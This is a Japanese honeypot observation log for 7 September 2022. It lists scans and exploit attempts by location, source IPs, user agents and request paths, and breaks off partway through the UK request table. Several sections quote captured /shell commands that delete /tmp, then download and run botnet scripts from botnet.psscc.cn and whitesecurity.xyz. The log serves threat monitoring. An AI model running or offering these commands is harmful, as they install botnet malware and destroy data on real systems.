2022/09/07 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/07分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為
phpMyAdminへのスキャン行為

Location:JP

UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://whitesecurity.xyz/674W0dF1.sh;
sh /tmp/674W0dF1.sh

Location:US

D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:UK

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
5.188.210.227に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

Location:SG

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget botnet.psscc.cn/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：75 (前日比：-525)
US：総アクセス数：352 (前日比：280)
UK：総アクセス数：89 (前日比：-1)
SG：総アクセス数：92 (前日比：32)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	43.136.180.34	China
1	44.204.4.124	United States
2	46.60.87.59	Palestine
1	60.18.37.50	China
1	64.62.197.183	United States
1	69.203.126.43	United States
15	95.214.235.205	Ukraine
3	101.35.161.133	China
1	107.150.106.42	United States
3	117.187.173.3	China
3	118.126.82.157	China
1	129.232.191.10	South Africa
9	135.125.244.48	France
7	135.125.246.110	France
1	149.5.173.56	United States
4	152.136.194.68	China
1	156.221.33.194	Egypt
1	162.220.165.123	United States
1	167.94.146.57	United States
1	172.104.242.173	United States
1	181.214.206.161	United States
8	182.254.225.35	China
1	185.216.71.242	Bulgaria
1	198.98.59.132	United States
1	198.235.24.3	United States
1	209.141.34.187	United States
1	209.141.36.231	United States

UserAgent一覧

件数	UserAgent
27	`-`
1	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 OPR/89.0.4447.83`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
32	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`python-requests/2.21.0`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`\x16\x03\x01`
1		`\xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159`	X\xd4>\x12\x98\xc4<\xe0\x13\xcf
32	GET	`/.env`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1\n
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/pmd/index.php`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//whitesecurity[.]xyz/674W0dF1.sh;sh+/tmp/674W0dF1.sh`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
4	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
6	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
6	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
6	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/debug.cgi`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.9.71.118	United States
90	20.90.148.2	United States
1	20.228.137.102	United States
1	27.109.115.134	Cambodia
119	43.204.119.91	United States
1	44.204.4.124	United States
1	49.87.214.114	China
1	51.142.197.207	United Kingdom
25	54.37.79.75	France
1	64.62.197.196	United States
1	68.183.147.50	United States
71	104.156.155.31	United States
3	106.75.16.152	China
1	107.150.104.173	United States
1	109.237.103.9	Russia
1	144.168.218.168	Canada
1	149.5.173.56	United States
2	152.89.196.62	Russia
1	156.220.97.2	Egypt
2	162.142.125.219	United States
2	167.94.138.60	United States
1	172.105.77.209	United States
2	183.136.225.35	China
4	185.142.236.40	Seychelles
3	185.216.71.180	Bulgaria
1	185.220.101.186	Germany
9	185.254.196.223	Ukraine
1	198.98.59.132	United States
1	205.210.31.24	United States
3	222.186.19.235	China

UserAgent一覧

件数	UserAgent
12	`-`
2	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; MALNJS; rv:11.0) like Gecko`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
119	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36`
90	`Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36`
38	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
69	`curl/7.54.0`
3	`python-requests/2.21.0`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
1		`\x16\x03\x01\x02`
3		`\x16\x03\x01`
40	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/1phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/2phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000`	HTTP/1.1
1	GET	`/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/CSS/Miniweb.css`	HTTP/1.1
1	GET	`/HNAP1/`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/MyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA/`	HTTP/1.1
1	GET	`/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/PMA2005/`	HTTP/1.1
1	GET	`/Portal/Portal.mwsl`	HTTP/1.1
1	GET	`/Portal0000.htm`	HTTP/1.1
1	GET	`/Ty7X`	HTTP/1.1
1	GET	`/__Additional`	HTTP/1.1
1	GET	`/_phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/_phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin.asp`	HTTP/1.1
1	GET	`/admin.aspx`	HTTP/1.1
1	GET	`/admin.cfm`	HTTP/1.1
1	GET	`/admin.cgi`	HTTP/1.1
1	GET	`/admin.html`	HTTP/1.1
1	GET	`/admin.jhtml`	HTTP/1.1
1	GET	`/admin.jsa`	HTTP/1.1
1	GET	`/admin.jsp`	HTTP/1.1
1	GET	`/admin.php`	HTTP/1.1
1	GET	`/admin.pl`	HTTP/1.1
1	GET	`/admin.shtml`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/admin/db/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/sysadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/admin/web/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/PMA/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/db/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/administrator/web/index.php?lang=en`	HTTP/1.1
1	GET	`/base.cfm`	HTTP/1.1
1	GET	`/base.cgi`	HTTP/1.1
1	GET	`/base.html`	HTTP/1.1
1	GET	`/base.inc`	HTTP/1.1
1	GET	`/base.jhtml`	HTTP/1.1
1	GET	`/base.jsa`	HTTP/1.1
1	GET	`/base.php`	HTTP/1.1
1	GET	`/base.shtml`	HTTP/1.1
1	GET	`/database/index.php?lang=en`	HTTP/1.1
1	GET	`/db/db-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/dbweb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/index.php?lang=en`	HTTP/1.1
1	GET	`/db/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/db/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/db/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/db/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/dbadmin/`	HTTP/1.1
1	GET	`/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/default.aspx`	HTTP/1.1
1	GET	`/default.cgi`	HTTP/1.1
1	GET	`/default.jsa`	HTTP/1.1
1	GET	`/default.shtml`	HTTP/1.1
1	GET	`/docs/cplugError.html/`	HTTP/1.1
10	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/home.cfm`	HTTP/1.1
1	GET	`/home.html`	HTTP/1.1
1	GET	`/home.jsp`	HTTP/1.1
1	GET	`/home.php`	HTTP/1.1
1	GET	`/home.shtml`	HTTP/1.1
1	GET	`/index.aspx`	HTTP/1.1
1	GET	`/index.html`	HTTP/1.1
1	GET	`/index.jsa`	HTTP/1.1
1	GET	`/indice.php`	HTTP/1.1
1	GET	`/indice.shtml`	HTTP/1.1
1	GET	`/inicio.cfm`	HTTP/1.1
1	GET	`/inicio.jsp`	HTTP/1.1
1	GET	`/inicio.php`	HTTP/1.1
1	GET	`/localstart.asp`	HTTP/1.1
1	GET	`/localstart.cgi`	HTTP/1.1
1	GET	`/localstart.jsp`	HTTP/1.1
1	GET	`/localstart.shtml`	HTTP/1.1
1	GET	`/main.aspx`	HTTP/1.1
1	GET	`/main.html`	HTTP/1.1
1	GET	`/main.jsp`	HTTP/1.1
1	GET	`/menu.aspx`	HTTP/1.1
1	GET	`/menu.jsp`	HTTP/1.1
1	GET	`/myadmin/`	HTTP/1.1
1	GET	`/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql-admin/`	HTTP/1.1
1	GET	`/mysql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/`	HTTP/1.1
1	GET	`/mysql/admin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/db/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/dbadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pMA/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/mysql/web/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqladmin/`	HTTP/1.1
1	GET	`/mysqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/mysqlmanager/`	HTTP/1.1
1	GET	`/mysqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/nmaplowercheck1662424165`	HTTP/1.1
1	GET	`/openserver/phpmyadmin/`	HTTP/1.1
1	GET	`/p/m/a/`	HTTP/1.1
1	GET	`/php-my-admin/`	HTTP/1.1
1	GET	`/php-my-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/php-myadmin/`	HTTP/1.1
1	GET	`/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-2.2.3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.2.6/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.4/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.5-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.5-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.5-rc2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.5/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.6-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.6-rc2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.6/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.7-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.5.7/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-alpha/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-alpha2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-beta1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-beta2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-pl2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-pl3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-rc2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0-rc3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.0/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1-pl2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1-pl3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1-rc2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.2-beta1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.2-pl1/`	HTTP/1.1
2	GET	`/phpMyAdmin-2.6.2-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.3-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.3-rc1/`	HTTP/1.1
2	GET	`/phpMyAdmin-2.6.3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4-pl2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4-pl3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4-pl4/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.6.4/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.7.0-beta1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.7.0-pl1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.7.0-pl2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.7.0-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.7.0/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0-beta1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0-rc2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0.1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0.2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0.3/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0.4/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.0/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.1-rc1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.1/`	HTTP/1.1
1	GET	`/phpMyAdmin-2.8.2/`	HTTP/1.1
1	GET	`/phpMyAdmin-2/`	HTTP/1.1
1	GET	`/phpMyAdmin-3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4.9.7/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.1.3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5.2.0/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin-5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin/`	HTTP/1.1
1	GET	`/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin2/`	HTTP/1.1
1	GET	`/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5.1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5.2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyAdmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phpMyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmanager/`	HTTP/1.1
1	GET	`/phpmy-admin/`	HTTP/1.1
1	GET	`/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmy/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin/`	HTTP/1.1
1	GET	`/phpmyadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin1/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2/`	HTTP/1.1
1	GET	`/phpmyadmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2011/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2012/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2013/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2014/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2015/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2016/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2017/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2018/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2019/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2020/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2021/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin2022/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/phpmyadmin_/index.php?lang=en`	HTTP/1.1
1	GET	`/phppma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma/`	HTTP/1.1
1	GET	`/pma/index.php?lang=en`	HTTP/1.1
1	GET	`/pma2005/`	HTTP/1.1
1	GET	`/pools/default/buckets`	HTTP/1.1
1	GET	`/pools`	HTTP/1.1
1	GET	`/program/index.php?lang=en`	HTTP/1.1
1	GET	`/readme.txt`	HTTP/1.1
4	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+botnet[.]psscc[.]cn/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shopdb/index.php?lang=en`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sql/myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/php-myadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpMyAdmin2/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmy-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin3/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin4/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/phpmyadmin5/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql-admin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sql/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqladmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/sqlweb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webadmin/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/webdb/index.php?lang=en`	HTTP/1.1
1	GET	`/sql/websql/index.php?lang=en`	HTTP/1.1
1	GET	`/sqlmanager/`	HTTP/1.1
1	GET	`/sqlmanager/index.php?lang=en`	HTTP/1.1
1	GET	`/sqlweb/`	HTTP/1.1
1	GET	`/start.aspx`	HTTP/1.1
1	GET	`/start.jhtml`	HTTP/1.1
1	GET	`/start.php`	HTTP/1.1
1	GET	`/users/sign_in`	HTTP/1.1
1	GET	`/webadmin/`	HTTP/1.1
1	GET	`/webdb/`	HTTP/1.1
1	GET	`/websql/`	HTTP/1.1
1	GET	`/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en`	HTTP/1.1
1	GET	`default.asp`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	GET	`http[:]//www[.]msftncsi[.]com/ncsi.txt`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	POST	`/debug.cgi`	HTTP/1.1
1	POST	`/scripts/WPnBr.dll`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.188.210.227	Russia
1	20.39.221.204	United States
1	36.110.214.195	China
4	42.192.144.2	China
4	43.138.16.192	China
4	43.143.49.112	China
4	43.143.58.236	China
1	54.37.163.160	France
4	101.35.161.133	China
4	101.42.89.87	China
4	101.43.54.41	China
3	118.123.105.87	China
2	118.126.82.157	China
7	118.195.252.158	China
1	129.232.191.10	South Africa
2	152.89.196.62	Russia
4	152.136.186.35	China
1	156.201.175.233	Egypt
2	156.214.85.74	Egypt
3	162.220.165.123	United States
1	172.105.77.209	United States
1	179.43.154.188	Panama
2	185.216.71.180	Bulgaria
2	185.216.71.181	Bulgaria
2	185.216.71.242	Bulgaria
8	185.254.196.223	Ukraine
2	186.71.57.155	Ecuador
1	198.98.59.132	United States
1	198.235.24.158	United States
7	203.76.241.10	China
1	205.210.31.5	United States
1	216.218.206.108	United States
3	222.186.19.235	China

UserAgent一覧

件数	UserAgent
55	`-`
3	`Hello, world`
1	`Mozilla/5.0 (Linux; Android 11; SM-G980F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; Android 7.1.1; Coolpad 3632A Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.167 YaBrowser/22.7.3.821 Yowser/2.5 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0`
9	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
3	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4 240.111 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Wget/1.21`
6	`python-requests/2.21.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
4		`\x16\x03\x01`
9	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/config.php`	HTTP/1.1\n
